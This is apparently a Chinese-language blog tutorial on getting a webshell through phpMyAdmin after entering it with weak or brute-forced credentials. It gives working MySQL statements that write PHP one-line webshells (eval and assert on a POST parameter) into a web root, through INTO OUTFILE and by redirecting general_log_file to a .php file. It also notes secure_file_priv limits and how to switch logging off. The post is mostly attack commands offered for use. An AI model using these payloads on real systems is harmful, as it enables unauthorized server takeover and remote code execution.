在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,有多种方法进行getshell

0x00 常用方法

1、into outfile (需要root权限、需要知道绝对路径)
2、general_log_file (需要root权限、需要知道绝对路径)

0x01 into outfile

1、最常用的是一句话木马的写入

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/xxx.php';

当然,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等。

高版本的mysql 无法使用 into outfile 提示如下:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

意思是Mysql服务器运行“–secure-file-priv”选项,所以不能执行这个语句。

2、secure_file_priv选项:

在mysql中使用secure_file_priv配置项来完成对数据导入导出的限制,前面的webshell导出就是如此,在实际中常常使用语句来导出数据表内容,例如把mydata.user表的数据导出来:

select * from mydata.user into outfile '/home/mysql/user.txt';

在mysql的官方给出了“–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory”解释,限制导出导入文件到指定目录,其具体用法:

(1)限制mysqld不允许导入和导出

mysqld --secure_file_prive=null
mysqld –secure_file_prive=null

(2)限制mysqld的导入和导出只能发生在/tmp/目录下

mysqld --secure_file_priv=/tmp/
mysqld –secure_file_priv=/tmp/

(3)不对mysqld 的导入和导出做限制,在/etc/my.cnf文件中不指定值。

0x01 general_log_file

mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。
有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。

在mysql中执行查询:

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

1、打开general_log开关
2、设置日志路径及php后缀
3、将webshell写入日志

关闭 日志记录:

set global general_log=off;

0x02 总结

总结

(1)查看genera文件配置情况

show global variables like "%genera%";

(2)关闭general_log

set global general_log=off;

如果into outfile无法获取shell的情况下,可通过general_log选项来获取webshell

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

标签: mysql, phpmyadmin

添加新评论